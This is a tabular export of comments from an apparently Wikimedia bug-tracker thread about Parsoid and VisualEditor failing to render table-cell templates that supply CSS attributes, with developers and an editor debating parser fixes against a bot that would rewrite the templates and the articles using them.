213861,Template creating CSS in a table's cell does not come through,"On the enwiki-20130102-pages-articles-multistream.xml.bz2 dump, there are:
 13,057,082 articles, of which
 11,877 (0.091%) have some use of [[Template:Table_cell_templates]], and
 1,875 (0.014%) have a non-trivial use (ie, the preceding character is not |).",,,1375230080,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,6.0,3.7096774193548385,0.6612903225806451,"On the enwiki-20130102-pages-articles-multistream.xml.bz2 dump, there are:
 13,057,082 articles, of which
 11,877 (0.091%) have some use of [[Template:Table_cell_templates]], and
 1,875 (0.014%) have a non-trivial use (ie, the preceding character is not |)."
213855,Template creating CSS in a table's cell does not come through,"Change 76861 had a related patch set uploaded by Cscott:
WIP: first draft of td reparse.

https://gerrit.wikimedia.org/r/76861",,,1375228678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9545454545454546,"Change 76861 had a related patch set uploaded by Cscott:
WIP: first draft of td reparse.

GERRIT_URL"
213850,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

(In reply to comment #23)
> (In reply to comment #22)
> > (In reply to comment #19)
> > > Scott, is the glitch with the certification tables at
> > > http://en.wikipedia.org/w/index.
> > > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
> > > another effect of 50589, this bug, or should I open a new bug report for it?
> > 
> > No, this is bug 52254 (which Roan already opened based on your report).
> 
> 52254 is relative to the incorrect italicization and bolding in the lead. It
> does not cover the corrupted certification table (near the bottom), which is
> another case of a template creating table markup which is displayed
> incorrectly.

Opened https://bugzilla.wikimedia.org/show_bug.cgi?id=52296 

The more I play with it, the more it feels like a third related bug. It's clearly not 50589 because Parsoid can't parse it correctly, but I don't think it's a duplicate of this one, either.",,,1375219011,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,23.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,8.0,7.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.1648351648351647,0.5604395604395604,"**kwwilliams** wrote:

(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Opened URL 

The more I play with it, the more it feels like a third related bug. It's clearly not 50589 because Parsoid can't parse it correctly, but I don't think it's a duplicate of this one, either."
213845,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

(In reply to comment #22)
> (In reply to comment #19)
> > Scott, is the glitch with the certification tables at
> > http://en.wikipedia.org/w/index.
> > php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
> > another effect of 50589, this bug, or should I open a new bug report for it?
> 
> No, this is bug 52254 (which Roan already opened based on your report).

52254 is relative to the incorrect italicization and bolding in the lead. It does not cover the corrupted certification table (near the bottom), which is another case of a template creating table markup which is displayed incorrectly.",,,1375213651,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,12.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,8.0,8.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.904109589041096,0.6301369863013698,"**kwwilliams** wrote:

(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

52254 is relative to the incorrect italicization and bolding in the lead. It does not cover the corrupted certification table (near the bottom), which is another case of a template creating table markup which is displayed incorrectly."
213840,Template creating CSS in a table's cell does not come through,"(In reply to comment #19)
> Scott, is the glitch with the certification tables at
> http://en.wikipedia.org/w/index.
> php?title=Metallica_%28album%29&oldid=566196578&veaction=edit
> another effect of 50589, this bug, or should I open a new bug report for it?

No, this is bug 52254 (which Roan already opened based on your report).",,,1375212812,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,0.7647058823529411,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE

No, this is bug 52254 (which Roan already opened based on your report)."
213831,Template creating CSS in a table's cell does not come through,"Change 76758 merged by jenkins-bot:
Add new parserTests for table cell attributes coming from templates.

https://gerrit.wikimedia.org/r/76758",,,1375212224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.681818181818182,1.0,"Change 76758 merged by jenkins-bot:
Add new parserTests for table cell attributes coming from templates.

GERRIT_URL"
213822,Template creating CSS in a table's cell does not come through,"Change 76758 had a related patch set uploaded by Cscott:
Add new parserTests for table cell attributes coming from templates.

https://gerrit.wikimedia.org/r/76758",,,1375211044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.76,1.0,"Change 76758 had a related patch set uploaded by Cscott:
Add new parserTests for table cell attributes coming from templates.

GERRIT_URL"
213817,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

Scott, is the glitch with the certification tables at http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit another effect of 50589, this bug, or should I open a new bug report for it?",,,1375200034,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,11.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4473684210526314,0.8157894736842105,"**kwwilliams** wrote:

Scott, is the glitch with the certification tables at URL another effect of 50589, this bug, or should I open a new bug report for it?"
213813,Template creating CSS in a table's cell does not come through,rewritten in a more-or-less straightforward manner.,,,1375196456,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,4.181818181818182,0.9090909090909091,rewritten in a more-or-less straightforward manner.
213808,Template creating CSS in a table's cell does not come through,"Having looked into it a bit, I agree that the current bug is related to bug 50589.  However, bug 50589 *should* work -- the template is still well structured, it is just generating content for more than one table cell.  This bug, on the other hand, has a template which spans structural boundaries in the HTML.  For example:

{|
|align=center {{table_attribs}}
|}

where {{table_attribs}} expands to 'style=""color: red""|Foo'.  This wants to generate something like the following HTML:
<table><tr>
<td align=""center"" style=""color: red""> Foo
</td></tr></table>

Note that the <td> and some of its attributes come from the article text, and the rest of the attributes come from the template. I might be able to hack this through Parsoid, but VE will probably never be able to edit the result.  (Imagine how you'd present the table cell editing UI for something like this.) So the bot approach should probably be used to clean up constructs like these, to something like:

{|
{{table_attribs|align=center}}
|}

Now the template is well-structured in the resulting html.

My current approach is to attempt to get these cases parsed by parsoid, resulting in uneditable-but-visually-correct output.  We will still want a bot to rewrite the templates so to make them editable in the articles using them.

As MZMcBridge correctly guessed, I'm currently running a grep over an enwiki dump to figure out exactly how many articles use table cell templates.  It's not done running yet so I don't have exact statistics, but the short answer is, ""a lot"".  So far nothing that can't be",,,1375196416,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0.5,0.75,0.0,0.5,0.75,4.75,0.75,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,0.25,7.5,10.0,1.0,2.25,0.5,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.75,0.5,4.75,0.75,1.0,0.25,0.25,0.0,0.0,0.5,0.25,0.0,0.5,0.25,0.0,0.0,0.5,0.0,0.0,0.5,14.5,1.0,0.75,0.25,1.0,0.75,0.25,0.0,0.25,0.25,0.0,0.25,2.25,0.0,0.0,0.0,0.25,0.25,6.25,2.5,6.5,1.25,1.25,8.25,0.0,0.0,0.0,0.0,4.75,0.25,0.75,0.0,3.5,10.0,2.0,0.0,1.5,0.0,3.5,0.0,1.25,1.5,0.5,2.25,0.25,0.0,2.25,3.7233770287141073,0.691916354556804,"Having looked into it a bit, I agree that the current bug is related to bug 50589.  However, bug 50589 *should* work -- the template is still well structured, it is just generating content for more than one table cell.  This bug, on the other hand, has a template which spans structural boundaries in the HTML.  For example:

{|
|align=center {{table_attribs}}
|}

where {{table_attribs}} expands to 'style=""color: red""|Foo'.  This wants to generate something like the following HTML:
<table><tr>
<td align=""center"" style=""color: red""> Foo
</td></tr></table>

Note that the <td> and some of its attributes come from the article text, and the rest of the attributes come from the template. I might be able to hack this through Parsoid, but VE will probably never be able to edit the result.  (Imagine how you'd present the table cell editing UI for something like this.) So the bot approach should probably be used to clean up constructs like these, to something like:

{|
{{table_attribs|align=center}}
|}

Now the template is well-structured in the resulting html.

My current approach is to attempt to get these cases parsed by parsoid, resulting in uneditable-but-visually-correct output.  We will still want a bot to rewrite the templates so to make them editable in the articles using them.

As MZMcBridge correctly guessed, I'm currently running a grep over an enwiki dump to figure out exactly how many articles use table cell templates.  It's not done running yet so I don't have exact statistics, but the short answer is, ""a lot"".  So far nothing that can't be"
213806,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

(In reply to comment #15)
> (In reply to comment #12)
> > Bots that modify existing articles to bypass bugs in Parsoid should be off
> > the table as a solution.
> 
> [[Hard cases make bad law]]. :-)
> 
> As a general rule, Parsoid should be handle wikitext in the wild. However, we
> need more information about the prevalence of these constructs on Wikimedia
> wikis and the amount of work required to properly handle them before we can
> make any real decisions here. Scott's Gerrit change #76626 seems to be a step
> in the right direction.

I'm more an adherent to the concept that rigorous adherence to fundamental principles always pays off in the long run, and ""Parsoid should handle all wikitext currently in existence in English Wikipedia"" strikes me as one of those fundamentals.

I'm concerned by the existence of this one and its interplay with 50589. It appears that Parsoid and VE made some assumptions about how templates, wikimarkup, and tables would interact that aren't true.

Take a look at the certification table in http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit for example. There's something going on in http://en.wikipedia.org/wiki/Template:Certification_Table_Top or http://en.wikipedia.org/wiki/Template:Certification_Table_Entry that's causing more weirdness. I don't know if that's this one, 50589, or yet another related bug.",,,1375138733,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1.0,0.5,0.0,0.0,1.0,3.5,0.5,0.0,0.0,0.5,3.5,2.5,0.0,0.0,0.5,2.0,0.0,4.0,12.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,5.5,0.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.5,13.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,0.5,14.0,2.5,3.5,8.0,0.0,0.0,0.0,0.5,3.0,0.0,3.0,0.0,3.5,12.0,7.5,0.0,1.0,0.0,3.5,0.0,1.0,1.0,0.5,1.0,1.0,0.0,0.0,3.8704481792717087,0.6748599439775911,"**kwwilliams** wrote:

(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm more an adherent to the concept that rigorous adherence to fundamental principles always pays off in the long run, and ""Parsoid should handle all wikitext currently in existence in English Wikipedia"" strikes me as one of those fundamentals.

I'm concerned by the existence of this one and its interplay with 50589. It appears that Parsoid and VE made some assumptions about how templates, wikimarkup, and tables would interact that aren't true.

Take a look at the certification table in URL for example. There's something going on in URL or URL that's causing more weirdness. I don't know if that's this one, 50589, or yet another related bug."
213801,Template creating CSS in a table's cell does not come through,"(In reply to comment #12)
> Bots that modify existing articles to bypass bugs in Parsoid should be off
> the table as a solution.

[[Hard cases make bad law]]. :-)

As a general rule, Parsoid should be handle wikitext in the wild. However, we need more information about the prevalence of these constructs on Wikimedia wikis and the amount of work required to properly handle them before we can make any real decisions here. Scott's Gerrit changeset 76626 seems to be a step in the right direction.",,,1375134893,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,14.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,0.0,1.0,9.0,0.0,1.0,0.0,1.0,7.0,0.0,2.0,0.0,3.0,14.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,2.0,3.875,0.7613636363636364,"(In reply to comment #12)
QUOTE
QUOTE

[[Hard cases make bad law]]. :-)

As a general rule, Parsoid should be handle wikitext in the wild. However, we need more information about the prevalence of these constructs on Wikimedia wikis and the amount of work required to properly handle them before we can make any real decisions here. Scott's Gerrit changeset 76626 seems to be a step in the right direction."
213796,Template creating CSS in a table's cell does not come through,"Change 76626 merged by jenkins-bot:
Add 2 more dumpGrepper patterns to get a handle on bug 44498.

https://gerrit.wikimedia.org/r/76626",,,1375132104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.9166666666666665,1.0,"Change 76626 merged by jenkins-bot:
Add 2 more dumpGrepper patterns to get a handle on bug 44498.

GERRIT_URL"
213789,Template creating CSS in a table's cell does not come through,"Change 76626 had a related patch set uploaded by Cscott:
Add 2 more dumpGrepper patterns to get a handle on bug 44498.

https://gerrit.wikimedia.org/r/76626",,,1375131923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.074074074074074,0.9629629629629629,"Change 76626 had a related patch set uploaded by Cscott:
Add 2 more dumpGrepper patterns to get a handle on bug 44498.

GERRIT_URL"
213779,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

(In reply to comment #11)
> We are definitely not trying to make life harder for editors.  We are just
> trying to figure out the best solution going forward.

The best solution going forward is to repair Parsoid. While I agree that we can do things with wikitext that no sane person would *want* to, there's no way to prevent us from doing so, and VE cannot fail based on things that work fine in the standard editor.

Bots that modify existing articles to bypass bugs in Parsoid should be off the table as a solution.",,,1375126397,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,16.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,3.0,16.0,4.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,1.0,3.0,0.0,1.0,0.0,3.5816326530612246,0.7346938775510204,"**kwwilliams** wrote:

(In reply to comment #11)
QUOTE
QUOTE

The best solution going forward is to repair Parsoid. While I agree that we can do things with wikitext that no sane person would *want* to, there's no way to prevent us from doing so, and VE cannot fail based on things that work fine in the standard editor.

Bots that modify existing articles to bypass bugs in Parsoid should be off the table as a solution."
213772,Template creating CSS in a table's cell does not come through,"We are definitely not trying to make life harder for editors.  We are just trying to figure out the best solution going forward.

Visual editing is a HTML-based operation, and HTML has structural semantics.  Longer-term, it would make for a better and simpler software and editing interface if templates generated entire html elements instead of part of elements (which these templates do).  We are just trying to reconcile wikitext structural information with HTML structural information with a view towards the long-term.

While we definitely welcome participation and support of existing template/bot authors here, we are definitely not planning to offload this job of writing bots or updating pages onto editors.

All that said, resolving this issue might well involve a temporary interim fix and a strategy for a longer-term resolution that moves wikitext and templates towards a more cleaner solution that is more aligned with HTML DOM semantics.",,,1375125861,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0.5,0.0,0.0,0.5,1.0,8.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.5,0.0,7.0,10.5,0.0,2.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.5,0.5,0.5,5.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,16.5,0.5,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,3.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,6.5,1.0,4.0,7.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.5,2.0,0.0,0.0,0.0,3.0,0.0,2.0,4.0,0.0,5.0,4.5,0.5,0.0,4.565755873340143,0.7233784473953013,"We are definitely not trying to make life harder for editors.  We are just trying to figure out the best solution going forward.

Visual editing is a HTML-based operation, and HTML has structural semantics.  Longer-term, it would make for a better and simpler software and editing interface if templates generated entire html elements instead of part of elements (which these templates do).  We are just trying to reconcile wikitext structural information with HTML structural information with a view towards the long-term.

While we definitely welcome participation and support of existing template/bot authors here, we are definitely not planning to offload this job of writing bots or updating pages onto editors.

All that said, resolving this issue might well involve a temporary interim fix and a strategy for a longer-term resolution that moves wikitext and templates towards a more cleaner solution that is more aligned with HTML DOM semantics."
213765,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

Why would we change the contents of articles to match something that Parsoid likes instead of repairing Parsoid? 

The specification of Parsoid surely must have included a spec that all templates and wikitext syntax in widespread use in English wikipedia needed to be handled properly. Since Parsoid doesn't meet that requirement, repair Parsoid.",,,1375124914,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,13.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,12.0,9.0,1.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,4.7164179104477615,0.7761194029850746,"**kwwilliams** wrote:

Why would we change the contents of articles to match something that Parsoid likes instead of repairing Parsoid? 

The specification of Parsoid surely must have included a spec that all templates and wikitext syntax in widespread use in English wikipedia needed to be handled properly. Since Parsoid doesn't meet that requirement, repair Parsoid."
213760,Template creating CSS in a table's cell does not come through,"From an email thread with Subbu & C.Scott:

Subbu writes:

Gabriel and I started discussing this the week before he headed out on vacation ... we'll continue once he is back ... we might either have to hack or use other tricks to support these templates.  A bot pass (https://bugzilla.wikimedia.org/show_bug.cgi?id=50547) is one idea we've considered (first fix up the templates, and then use a bot to go and fix pages that use the templates).

---
I asked:

If we wanted to improve the markup of these templates so they can be more sanely parsed, what instructions would we provide?

---
Subbu responds:

Instead of generating just style attributes of a table cell, make the ""|"" char part of the template.  So, the templates should produce a styled-cell rather than just the cell-style. And, that also means that the pages that use these should not have ""|"" char before the transclusion -- but we may be able to work around by recognizing that pattern (I say that without working through the details).

So, instead of (old wikitext):
{|
| {{yes}}
|}

they would have to code this as:
{|
{{yes}}
|}

Looks like there are quite a few of these here: https://en.wikipedia.org/wiki/Template:Table_cell_templates  I haven't investigated all the various ways these templates are used, but at first pass, I think that approach should fix the problem.

---

C.Scott responds:

It's probably worth bringing the VE team into this discussion.  I
think that VE would probably struggle trying to edit table cell(s)
generated with a template containing a style + cell contents in this
fashion and/or have difficulty processing whatever markup we decide
Parsoid ""should"" generate for this case.  My intuition is that fixing
the templates to include the leading vertical bar, so that the
template is clearly a cell, not part-of-a-cell, is a better long-term
solution for editing (Parsoid+VE).  It seems like a bot to make this
change could be implemented + deployed relatively quickly, although I
haven't actually written a bot before, maybe there are community or
other factors limiting the speed at which bot edits are made?
 --scott
ps. who'd be interested in writing said bot, because he's never done
that before, although I suspect it would be best farmed off to someone
who's done this sort of thing before.

And also adds:

Note that there are some anomalous usages, for example:

! {{yes}}
| rowspan=2 {{n/a}}

The first case would have to be {{yes|type=header}} and the second
something like {{n/a|rowspan=2}}, both with additional changes to the
table cell template.  In other words, the issue isn't just that the
style and cell content boundary is spanned, it's that some of the
style comes from outside the template and some comes from inside.

I still think a bot might be the best long-term fix, but it's not
entirely straightforward.  If we were to fix it inside parsoid, we'd
have to introduce something like an ""open style context"", probably
buffering the style information and spitting it out only after we've
